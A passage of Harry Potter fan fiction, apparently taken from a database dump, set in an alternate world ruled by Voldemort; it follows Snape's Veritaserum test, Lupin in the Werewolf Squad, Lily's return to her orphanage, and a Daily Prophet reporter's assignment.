all&#8230;just feeling happy about Sirius&#8217;s new project,&quot; he said nonchalantly, trying to keep his excitement to himself. If she would drink the potion, and unknowingly at that&#8230; &quot;Say, would you like some water?&quot; He passed the vial to her, and Arabella scrutinized it heavily. </p>\n\n<p>&quot;This isn&#8217;t laced with something I might regret drinking, is it?&quot; she asked suspiciously, squinting at the vial, her notes long abandoned on the battered table in the corner. The Rebellion thrived on minimalist furnishing. They needed the very least to survive, and it was easy to find food from the lavish homes of Death Eaters, since the house elves were greatly partial to them. She finally put the vial to her lips, still looking apprehensive. &quot;I hope I&#8217;m not going to regret this.&quot; </p>\n\n<p>&quot;Not at all, Arabella. Who was your first boyfriend, by the way?&quot; Severus asked quickly, trying out the effect of the potion. It should work perfectly, according to theory. He knew the answer to that question, but it was increasingly embarrassing and if Arabella had not been a good friend of his and also obsessed with Potions, he would probably not know. </p>\n\n<p>&quot;Lucius Malfoy,&quot; Arabella answered blankly and then clapped a hand over her mouth. &quot;What did you lace that vial with, Severus!&quot; </p>\n\n<p>&quot;Oh&#8230;some of my newest potion,&quot; he grinned widely, almost jumping out of his seat. &quot;And I&#8217;ve just confirmed it works.&quot; </p>\n\n<p>&quot;You mean that Truth potion you were working on?&quot; Arabella gasped, realizing the consequences. It would mean great things for the Rebellion and information-wise, it was a great advancement. </p>\n\n<p>&quot;Veritaserum, Arabella,&quot; Severus snapped irritably. &quot;Don&#8217;t quote things when you can&#8217;t remember them.&quot; </p>\n\n<p>&quot;Yes, sir,&quot; she said automatically, rolling her eyes as he prepared to Apparate. &quot;I&#8217;ll make myself scarce too. There&#8217;s a tip-off that Death Eaters are coming at two.&quot; </p>\n\n<p>&quot;Got that,&quot; he called to her as they both Apparated, leaving only dust to mark the historical moment of a great invention.</p>\n\n<p align="CENTER">*</p>\n\n<p>The Werewolf Squad Headquarters was a tall building made of iron, nestled in the middle of a luxuriant forest where the pack formed by the members of the Squad ran rampant each full moon. They were allowed to feed on traitors who were delivered to their headquarters each full moon, as others were taken to the vampires. It was a sturdy building to prevent any damage from either the werewolves or the prisoners. The Squad was not accustomed to paperwork; they did their jobs by verbal communication most of the time. They arrested people as any Death Eater would, only that they presented a greater threat. They could eat them or transform any time they wanted to, as long as they were under a full moon. This threat made the people&#8217;s fear of the Werewolf Squad grow, and usually they were enough to frighten them into submission. Each wolf had its own territory, and reported back to the Headquarters to run some full moons. Others, they would spend with their mate. </p>\n\n<p>The heavens had spread a veil of black velvet over its face almost in mourning, studding it with precious diamonds when he arrived back at the Headquarters, his mission completed and the prisoner captured in a sturdy steel cage. Nothing in the Headquarters was made of silver, for it was very harmful to werewolves. It had burned him when he had snatched the prisoner&#8217;s silver necklace from his neck away and thrown it hurriedly into a box for keeping. Embezzling the Lord&#8217;s funds were his crime. The money had come from the Lord. Those who dared to steal that asked for one of the capital punishments &#8211; death by werewolves who devoured their meat at full moon. There were a few weeks before then. </p>\n\n<p>The interior of the headquarters were just like its exterior &#8211; sterile, clean and efficient. The perfect abode of a cruel, cold monster, or rather, several. More than three hundred werewolves reported to the Werewolf Squad, which was divided into age groups and efficiency levels. Only some lived full-time at the Squad headquarters, and those were the patrolling werewolves. Others with mates had homes of their own. He had not found someone to call his own yet, but he hoped fervently that he would one day. The prisoner whimpered piteously, begging him to release him from his torture but he did not relent. The rule of the Squad was to be ruthless and heartless, and he tried his best to ignore the cries. This particular man had a wife and three children. </p>\n\n<p>&quot;Evening, Commander Lupin,&quot; Jenna, the receptionist on the ground floor greeted him pleasantly, smiling and then casting a look of disgust at the prisoner trapped in the steel cage that was being levitated in the air. &quot;What did he do, anyway?&quot; </p>\n\n<p>&quot;Embezzling funds, stealing money,&quot; he responded almost mechanically, his face dusted over with exhaustion and slight grit. His connections to the Rebellion were virtually unknown, and he planned to keep it this way until he was forced to escape his role of a spy. And until then, he would have to continue the job he hated most. &quot;He was given the death sentence.&quot; </p>\n\n<p>&quot;Name?&quot; Jenna&#8217;s face had become the cool mask of competence, her fingers flipping swiftly through the various magical communications that had come through this morning. &quot;Oh, I found it. There&#8217;s only one person for that crime this morning.&quot; </p>\n\n<p>&quot;Cell number?&quot; Remus asked, almost feeling the vibes of fright the prisoner was giving off. Anyone would be afraid in this place. He smoothed his features into the usual indifference and prepared to send yet another man to the jaws of hell. This was what his job warranted, and he had to continue doing it no matter what. There was a dark black smear on the top of the cage that denoted the man as Muggle-born. He had worked with another to get more money. Jenna handed him the keys and he Apparated into the cell immediately. He could not stand another moment with him, knowing that the next full moon he would be in his stomach, travelling down his alimentary canal or what was a wolf&#8217;s digestive system. </p>\n\n<p>&quot;Please&#8230;please&#8230;let me go&#8230;my wife, my daughters&#8230;&quot; the prisoner cried from behind him. He checked to see that there were no probes around, then bent down to look at him, pity in his eyes. There was no way he could help him, no matter how much he pleaded. The prisoner&#8217;s eyes were full of desperation, fearful brown that was quickly condensing into water-logged amber. He jerked back at the reminder of his brutality and identity as a monster. It sickened him; the knowledge that his life came from blood and death and gore, that he was sustained by not just animal but human meat too. He was a monster, no matter what he did. Some glorified in that fact, but he did not. </p>\n\n<p>He was probably one of the few who would admit they hated themselves for being what they were. He stared into the prisoner&#8217;s eyes one last time before standing and leaving the room as quickly as possible, trying to forget that desperation and pain. </p>\n\n<p>He was not just a monster in physical being, he was one emotionally too. And everyone knew that the monster you feared most was the one that lived in your mind. He never wanted to meet another Boggart. </p>\n\n<p align="CENTER">*</p>\n<p align="CENTER"></p>\n<p>Disclaimer: JKR owns all characters concerning Harry Potter and all things that are mentioned inside them. Nothing belongs to me. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(57, 3, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">BROKEN\nMIRROR </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Or <i style="mso-bidi-font-style:normal">The World That Never Was </i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter\nThree: The Elevated Prominence Of The Formerly Ignored</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">The sunlight had stubbornly decided to shoot its rays\nthrough the thick layers of curtains cushioning the windows in the elegant bedroom\nscattered with paperwork. The drapes on the four-poster bed were drawn, but\nthey fell under the siege of the sun and lost the battle with it. James opened\nhis sore eyes to a bright morning even as he rubbed sleep out of them. He had\nbeen up almost the entire night working on the documents needed for the\ntransfer of power, and finally managed to get through all of the required\nprocedures. He recalled stumbling along into his room, and collapsing on the\nbed after leaving his glasses on the side table. There was a soft weight on his\nchest, and he wondered if he had reverted to his old habit of clutching at\npillows to hug. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">He looked down to find a mass of auburn curls scattered\nacross his chest, and the owner lying with her hand over his waist. They were\ntangled together in the bed sheets, and his desperate attempts to extricate\nhimself turned out useless. His arm was still around her waist and he found he\nquite liked the position he was currently in. Last night had been the most\nwonderful sleep he had ever had, with the warm comfort of another against his\nbody. She looked as lovely as ever even when asleep, her features peaceful and\nrelaxed. The only bad thing was that her brilliant green eyes were obscured\nfrom view by her eyelids, but that gave him a chance to observe her long\neyelashes which tickled his neck from time to time when she moved. He could not\nhelp but retract his remark of her looking like an angel the previous day &#8211; she\nwas probably their queen. He stroked her hair gently, not wanting to wake her\nfrom slumber. It was probably one of his only chances to gawk at her openly. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">His cheeks reddened as he realized what she was wearing.\nThe elf had probably thought she was truly his mistress, and left her a\nparticularly provocative white nightdress that was nearly entirely sheer,\nleaving only some parts of her to the imagination. He quickly covered her with\nthe blanket, and ordered his eyes to focus on the canopy above instead. He\ncould not resist thinking that she was very well formed indeed, her body curvy\nand slender. His comment the other day had been correct; she would have been\nsnatched away if he had not gotten to her first. He was already beginning to\nregret agreeing to send her home; it would be nice to have someone to talk to\nwho was not a Death Eater or a superior. But he would have to keep his promise.\nHis heart leapt in his ribcage as he realized she was stirring. He gulped and\nprepared for an explosion or an ear-splitting scream. At least, that was what\nhappened to Evan when he had accidentally bedded a woman after too many drinks\nonce at the Leaky Cauldron. He could not help but liken the feeling in his\nthroat to that of impending doom. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">Lily had been understandably scandalized at the apparel\nthat the house elf had brought for the night, and had told the house elf so,\nbut grudgingly accepted it after he brought out one identical dress in red. The\nfew fiction books that she had been allowed were better than any other she had\never read. Despite the wizards&#8217; dislike of Muggles,\nthey seemed to have no qualms about reading the books they wrote. She had\nburied herself in Jane Eyre, dreaming as always of a love as great as the one Rochester\nand Jane shared. Before long, she had drifted to sleep and forgotten about all\nsleeping arrangements. Now, as the sunlight threatened to burn her eyelids\nopen, she sleepily blinked the last vestiges of slumber away and opened her\neyes. There was a soft caress against her hand, and a warm weight at her waist.\nAn arm was reaching over her face to touch her hair; one draped in striped blue\nand white pajamas, she realized. The pillow pulsed beneath her, as warm as ever\nand she bolted upright, bowing her head as the horrified look filled her eyes. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I&#8217;m terribly sorry, sir!&#8221; she mumbled, realizing where\nshe was at last. The last thing she ever believed she could have done was to\nfall asleep on her protector late in the night. And in what she was wearing,\ntoo! Her face burned a bright red, and she tried to hide from Ja &#8211; Potter&#8217;s penetrating gaze as\nbest as she could. The shock was bad enough, but interrogation would make it\neven worse. She wondered what punishment she would get for this transgression. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Oh, it&#8217;s&#8230;okay,&#8221; she could almost feel his smile in the\nwarmth of the morning. He crawled from the bed and stretched himself as she\nwatched silently, wondering what she was going to do for the rest of the day.\nHe was clad in blue and white pajamas which made him look like a little boy.\nShe could not help but chuckle softly. He directed a mock glare at her. &#8220;They&#8217;re\nstrangely comfortable&#8230;I&#8217;ve been wearing them since I was seventeen.&#8221; He was\nabout to make a move to remove his shirt when he remembered she was in the\nroom. &#8220;I&#8217;m sorry,&#8221; he muttered, an embarrassed look on\nhis face as he grabbed his clothes and rushed out of the room, presumably to\nchange into more appropriate clothes. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Lily sighed. Her shabby dress of the night before had been\nremoved and likely burnt, and she was not about to leave in this terrible\nmockery of a dress. As though the house elf had heard her thoughts, he appeared\nabruptly in front of her, bowing and then handing a pretty summer dress which\nwas in a forget-me-not blue shade to her. She gaped at the clothing with wonder\n&#8211; she had never had anything this extravagant before. It had no holes, was\nclean and smelled lightly of flowers and was the prettiest frock she had ever\nseen.&nbsp; She held it up to her carefully as\nthough the dress was made of delicate glass. It looked as though it would fit\nher perfectly. Cautiously, she slipped out of the nightgown and into the dress.\nIt was sleeveless and fell to just above her knees. She twirled once or twice\nto get used to the unfamiliar feeling of the cloth against her skin. The elf\nhad left shoes; blue sandals with moderately high heels that she put on carefully,\nnot wanting to ruin the first pretty clothes she had ever gotten. She edged\ncloser to the mirror at the side of the room to examine her visage more\nclosely. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Looking pretty, miss! Though a little makeup would\nbrighten up those wan cheeks of yours&#8230;&#8221; the mirror began to chatter vibrantly\nas Lily&#8217;s mouth fell open. Was there anything about wizards that she still did\nnot know? Mirrors talked, house elves disappeared into thin air, brooms flew&#8230;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I&#8217;ll agree with that mirror,&#8221; Ja-\nPotter&#8217;s voice came from behind her. She was almost embarrassed to look at him,\nand mumbled a soft Thank You. He grabbed her hand quickly, and pulled out his\nwand. &#8220;Well, we had better be getting to the place you live. Just think of it.&#8221;\nShe nodded, and thought of the rickety entrance to the forbidding building she\nlived in, recalling the matron and her sister. There was a strange jerk at her\nconsciousness like the day she had been taken back to the Potter home, and then\nshe was standing in front of the orphanage like she had never left it at all. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;You live here?&#8221; Potter said incredulously behind her. He\nhad one warm hand on her right shoulder, and she turned to look at him with\nslight shame. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;It&#8217;s been my home since I was six,&#8221; she muttered, bowing\nher head. Why was it that just a few days ago she had wanted to be proud of\nwhat she was, and now she was feeling embarrassed just because a certain\nhigh-and-mighty Death Eater, who was probably born from the generation who had\nimprisoned her kind, had seen what kind of cell-like squalor she lived in? </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;It doesn&#8217;t look like a home to me,&#8221; his attempt to joke\nwas refuted with a sigh from her which effectively shut him up. &#8220;Let&#8217;s go in.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;In?&#8221; Lily gaped. &#8220;You&#8217;re not serious, are you&#8230;&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Don&#8217;t you want to go home?&#8221; James replied patiently. She\nstared at him, deliberating whether to face the matron with her new elevated\nstatus or to chicken out. She had never been a coward, and she would not start\ntoday. She nodded, and he understood her meaning as he held her hand and led\nher into the familiar corridor, its white-washed corridor decorated with wizard\npaint and vandalism that comprised of some basic spells they had seen the\nwizards use. It only made others see more clearly that they wanted to be\n&#8216;normal&#8217;, like all the others who were not imprisoned and forbidden to vote or\nspeak freely. The air felt somewhat fresher now that she knew she was on some\ndegree, more free. Or from another point of view, trapped in the false identity\nPotter had conjured for her. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;It&#8217;s never really been home to me,&#8221; she mumbled quietly\nas she felt his reassuring squeeze that sent warmth through her. They paced\nslowly towards to the sallow receptionist sitting at a\nold wooden desk, her grey uniform helping her blend into the atmosphere of the\nplace. The orphanage was a drab place devoid of colours\nand brightness. Even the lights were restricted to white. She still remembered\nher mother&#8217;s laughing face, singing and humming as she cooked and cleaned, her\nfather rushing home with paperwork but still making time for her and her\nsister. She recalled the legends and stories that her father had made up to\nentertain her and her sister, like the story that they were both princesses,\ntrapped in the red and yellow and orange of the room that was made into a\npalace of fire, guarded by a dragon. One day they had all been dragged out of\nthe house when the Death Eaters went on their regular &#8216;raids&#8217;, or as the Muggles called it, death marches, her parents convicted of\ninsubordination and executed. They had been sent to the orphanage. There were\nno half-bloods there, only Muggle-borns who were\nhomeless. The matron made sure to drill them full of rules and their\ninferiority, reminding them that it was the Lord&#8217;s kindness that kept them fed\nand clothed. She gulped and continued, feeling his patience but not wishing to\noffend. &#8220;They were killed when I was six and my sister and I were brought here.\nWe&#8217;ve lived here ever since.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;In the future this orphanage will be under my governing\ncontrol,&#8221; James said, not knowing what else he could do to comfort her. War was\nwar, and her parents had been killed, probably because they were either lower\nclass or were allying with the Rebellion. Perhaps they should have thought of\nthe consequences their actions would have on their children. &#8220;No one will ever\ndare to harm you.&#8221; He would protect her, even though he knew no reason why he\nwas doing this. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Thank you,&#8221; she whispered softly and smiled shyly at him.\nHe could not help but return it with a bright grin of his own as they reached\nthe worn desk where the sallow receptionist sat. James cleared his throat and\ntapped the table lightly, sending clouds of dust into the air. The receptionist\nlooked up from her work swiftly, her head jerking to attention as she jumped up\nfrom her moth-eaten seat to salute James. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;How rare to see you here, Mr. Potter!&#8221; she said\npleasantly, frantically adjusting her uniform and the badge on her blouse that\nindicated her name. Monica Pettigrew was a worker at the orphanage who had come\nonly months ago after her husband had been murdered in a Rebellion raid, though\nLily doubted it. It was more likely that he had been tortured to death in a\nprison cell by the Death Eaters. She was mean, sharp and stood in for the\nmatron whenever she needed to report to the Lord. No one liked her, nor her son whom she had brought together with her. They\nspelled her name as &#8220;Petty-grew&#8221; as she was known to scrimp on rations and give\nthem as little food as possible. Considering the food was very scarce in the\nfirst place, that left them with hunger pangs throughout the day. Lily was\nsurprised to see her saccharine attitude towards Potter. &#8220;It&#8217;s really an honour for you to visit our humble orphanage&#8230;&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Not really,&#8221; James replied, waving his hand in a\ndismissive way. The action only diverted Pettigrew&#8217;s attention to Lily, who\nstared at the ground, attempting to perhaps stay hidden. &#8220;I am sending her\nhome, and will visit from time to time.&#8221; Pettigrew gaped at Lily, her mouth as\nwide as it probably could go. She took in her new clothes, clean hair (which\nthe house elf had cleaned with a charm the day) and most importantly, her\nposition at the side of the governor of the towns the orphanage was in. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;E- Miss Lily!&#8221; she said sweetly, the syrupy tone of her\nvoice almost making Lily gag. James only smiled proudly, before pushing her\nslightly forward to the table. A somewhat motherly, loving expression appeared\non Pettigrew&#8217;s face as she edged closer to Lily, and she tried to shy away to\nno avail. Lily tried to resist a giggle as she contrasted Pettigrew&#8217;s attitude\ntowards her before today and her boot-licking one today. It was as different as\nnight and day. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;You will take care of her, and any damage will be\nreflected tenfold on you,&#8221; James said evenly, fingering his wand subtly to\nindicate his seriousness. Pettigrew gulped visibly, shrinking back and trying\nnot to touch Lily. Lily resisted the urge to glare at Potter. He had\neffectively drawn a plague circle around her now. But it stemmed from a sense\nof justice to protect her, didn&#8217;t it? She jerked herself from her thoughts,\nsending reminders to her mind that no Death Eaters ever did good things for\nanything other than profit. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I&#8217;ll see you,&#8221; he murmured softly beside her ear, and\nLily could not help but feel it was very intimate. Of course, it felt entirely\nplatonic to her. Potter, as horrible as the other Muggles\nin the orphanage made him out to be, was actually quite a kind person, even\ngoing to extremes to convince the others that they truly were lov- involved. It certainly had convinced Pettigrew, who\nwas standing stupefied in front of them as he smiled at her then left, black\ncloak billowing behind him. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Lily dear!&#8221; Lily&#8217;s eyes widened\nas she heard the syrupy voice that Pettigrew had adopted as she unwillingly\nturned around from where she had been watching Potter leave. She gulped as\nPettigrew advanced towards her. For a moment she almost wished she had never\nmet James Potter that fateful night, but quickly retracted the thought as she\nbroke into a jog back towards the cramped hovel she shared with her sister. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Greenwich,\nthe editor wants you,&#8221; Houston\nyelled from across the room over the noise of typewriters clinking away as\ntheir owners punched busily at them, the ink staining the paper in neat rows\nand lines of letters that would soon take the form of a newspaper article. This\nwas the headquarters of the Daily Prophet, information and newspaper giant of\nthe wizarding world, and propaganda machine for Lord Voldemort. There were hardly any female reporters here, for\nthe editor was naturally biased towards the fairer sex. However, the few who\nwere here were some of the best. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Tell him I&#8217;m coming!&#8221; Molly Greenwich bellowed in reply, waving\nin her hand a sheaf of paper that was her newest article on the ball at\nReginald Malfoy&#8217;s home, which also featured the\nup-and-coming new authority figure, James Potter. It was difficult to keep this\nparticular job because of the sexist ideals the editor had, but she was an\nexcellent reporter, and she knew it. &#8220;I have to finish this article first for\ntomorrow&#8217;s press!&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;He says immediately, witch!&#8221; Molly scowled as the\nworkplace began to almost rumble with laughter at the stupid joke. It had been\na running source of teasing for her as she was female. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Sod off, wanker, and go get\nlaid if you have nothing better to do!&#8221; she retaliated viciously, elbowing her\nway roughly through the tables and chairs that were cramped together in the\nheadquarters. The editor&#8217;s office was at the very end of the office, and was\nobscured from all the noise of the typewriters by a special glass door that\nblocked out noise with a Silencing Charm. She pushed open the door quickly with\nsome bruises on her arms in her hurry to get to the door. As usual, Jennings\nsat in his comfortable leather chair, his hair slickly\ngelled down with the wizard version of the Muggle\ninvention. He thought it made him look like a dangerous wizard, but it gave him\na pretty boy look that she always wanted to laugh at. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;What&#8217;s the matter?&#8221; she asked rudely, irritated from her\ndisruption from her article. It was due in by today and she had racked her\nbrains for days before coming up with a suitable article that would not offend\nand yet hid meanings in the words. It was very difficult, but she had done it\nmany times before. She would do it again. &#8220;If there&#8217;s nothing I&#8217;m going to go\nfinish up my article.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Greenwich,&#8221;\nthe editor said in a warning tone that only made him seem\neven more like a poor imitation of the Death Eaters. He had been delegated here\nonly because he did not fit the calibre &#8211;\nthreatening, evil, violent, sadistic (perhaps she\ncould rethink that point) and so on. &#8220;You have a new assignment.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Well, get on with it. I&#8217;ve got articles to type,&#8221; she\nstood stiffly in front of the editor, her ruffled attitude plain for all to\nsee. She was rebellious, bad-tempered and said what she liked to &#8211; the only\nreason she was still here was because she was the cream of the crop in the\nheavily over-worked Daily Prophet. She knew it, and she would exploit it in\nwhatever way she could. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;The Lord has appointed us to find a way to plunge the\nMinistry into scandal so that it can be closed down,&#8221; Jennings\nwas always very much to the point. Unfortunately, he probably had only this one\ngood point. &#8220;It is all that remains of the old government, and the few old fogeys working there may prove to be useful for the\nRebellion. We must get rid of them.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;So I go undercover, report about the corruption, and then\nclose them down,&#8221; Molly said frankly, an irritated expression on her face. She\nperched her hands on the wooden desk, then pulled the editor towards her by the\ncuff of his robes. &#8220;What do you think I am? This bloody mission is too simple!&#8221;\nShe almost spat out the word &#8216;simple&#8217;. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;The Lord wanted the best. You are the best reporter\nhere&#8230;&#8221; he trailed off as Molly pointed a finger straight at him, glaring into\nhis eyes. It was very terrifying, and he abruptly understood why it was never\ngood to antagonize Molly Greenwich. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;You mean, best <i style="mso-bidi-font-style:normal">expendable\nfemale</i> reporter!&#8221; Molly hissed, pushing him roughly back. &#8220;You obviously\nwant me to get mired in some scandal or something and announce that the\nMinistry is corrupt, then get executed with all of\nthem!&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Greenwich&#8230;&#8221; Jennings\ntried to explain himself, but Molly was a much better strategist than he was,\nand saw through all his tricks most of the time. If the four houses still\nexisted at the houses, she would have been a crafty Slytherin.\nShe conveniently picked up a glass on his table and threw liquor over his face,\nglowering at him. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I am not going to fail, you idiot. You&#8217;ll see,&#8221; she\nthreatened dangerously before pushing open the door and leaving. The rest of\nher colleagues were supposedly gathered around their own work, but she knew\nthey had been listening to the newest scuffle between THE female reporter and\nthe editor. There had even been a scandal once that they were having an affair,\nbut one punch and a good beating to the appropriate person had managed to cease\nall rumours from going around. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Get out of my sight,&#8221; she spat poisonously, and that\ndispersed the crowd that had mobbed to ask what was the\nnewest issue. &#8220;I&#8217;m going to send an owl.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;To where, Greenwich?\nBoyfriend?&#8221; Williams teased, sitting down with a\nfrightened look after she directed a glower at her, and focusing his attention\nback to his typewriter. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;To the Ministry,&#8221; she gritted. The peals of laughter\nbehind her could not be ignored. The Ministry was the last vestiges of how the\ncontinent had been before the Lord had taken over &#8211; it could not be dispersed\nor dismissed. That would mean loss of hope for the Rebellion, she mused,\nfurrowing her eyebrows. She sighed &#8211; she would have to risk sending Dumbledore\nan owl. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Good evening, Mr. Rosier,&#8221; the clipped, professional\nvoice that Evan heard as his world began to come back into focus was not the\none that he had expected to hear. It was the calm voice of the Lord. He\nimmediately knelt in front of him, prostrating himself in front of the absolute\nruler. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;My respects to you, m&#8217;lord,&#8221; he\nwhispered fervently, not daring to meet the man&#8217;s eyes. The Lord was sacred\namong the Death Eaters, and only the senior members were granted allowance to\nlook at him directly. The rest had to bow their heads, and some knelt until\ntheir knees were sore. It was due reverence to the great Lord who had saved\nthem from the foolish ideals of the Rebellion, anyway. It was a great honour to be summoned for an audience, and he had heard of\nthe mysterious ways of summoning the Lord used when he did not want anyone else\nto know about it. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I have a mission for you,&#8221; he was very frank, Evan\nthought. The next moment, he was being dragged up by burly guards armed with\ntwo wands on each arm. He saw the Lord motion for him to come closer, and then\nthe guards were ordered out of the room. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I would do my best to complete your orders, m&#8217;lord,&#8221; he said resolutely, bowing again. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I take that as a vow, Rosier, and you shall be punished\nif the mission does not succeed,&#8221; the Lord warned, his tone almost inciting him\nto see the various terrible endings for Death Eaters who had failed him once.\nSome had been cut into a thousand pieces and exploded to the ends of the earth,\nothers driven into the portal which led to where the Lord&#8217;s Basilisk slept, and\nso on. He shivered as he recalled the states of death the families of the\npunished had found them in, then belatedly remembered he was not to show fear\nin the presence of the Lord, only blind obedience. Then <i style="mso-bidi-font-style:\nnormal">he</i> spoke again, his chilling voice sending more trembles down his\nspine. &#8220;This is a dangerous mission.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I will accomplish it, m&#8217;lord. I\nhave no fear in your service,&#8221; Evan said calmly, even though foreshadowing was\nramming itself against his skull. The Lord laughed, the sounds echoing around\nthe dark dungeon that Evan only now realized he was in. He could almost hear\nthe hissing sounds that the Basilisk made. This was the Lord&#8217;s secret meeting\nroom &#8211; the Chamber of Secrets, hidden deep inside Hogwarts. For a moment he\nthought he heard a scream, but decided it was just imagination. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;You will join the Rebellion, and seek out the Phoenix,&#8221;\nthe Lord commanded, the cold emitting from his body only serving to make Evan\ndrip cold sweat. No one could face the Lord and be truly unafraid. &#8220;Even now,\nJames Potter is unconsciously looking for the Phoenix.\nHe can feel the characters and thoughts of people&#8230;It is a very useful gift.&#8221;\nEvan gulped. So that was why James had been promoted so swiftly &#8211; his ability\nto tell people&#8217;s feelings and characters had always astonished him and Cleantra. James was very strongly empathic, but there was\nno name for the gift that allowed him to feel people&#8217;s auras. Still, he did not\nknow who, or what was meant by the Phoenix.&nbsp; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;M&#8217;lord,&#8221; he began hesitantly,\ntrying to hide his apprehension. What if he was displeased? He tried not to\nthink of the consequences. &#8220;What is the Phoenix?&#8221;\n</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;The Phoenix\nwas predicted to have been born in this century, and he or she hides a rare\ngift that will aid me in my ruling,&#8221; the Lord replied coldly. &#8220;You will know\nher when you find her. Now be gone.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Yes, m&#8217;lord,&#8221; Evan bowed and Disapparated to his home, preparing to find a Rebellion\nstronghold as soon as possible. Remus would know &#8211; he\nwas one of the best intelligence agents in the Werewolf Squad, and some said,\nthe possible successor to aging Reylon. He had been\npart of their gang at Hogwarts &#8211; together with James, Cleantra,\nand Sev- He tried not to think of that name. Snape was a traitor. He did not deserve to be saved. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Yet he would soon meet him, if he was truly a member of\nthe Rebellion. Evan sat down heavily, gripping his head in his hands. The\ndisappointment they had all felt when Severus had\nbeen sentenced was still strong in his heart. It had felt terrible, the\nbetrayal of one of his best friends &#8211; and now to know that he would be around&#8230;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p 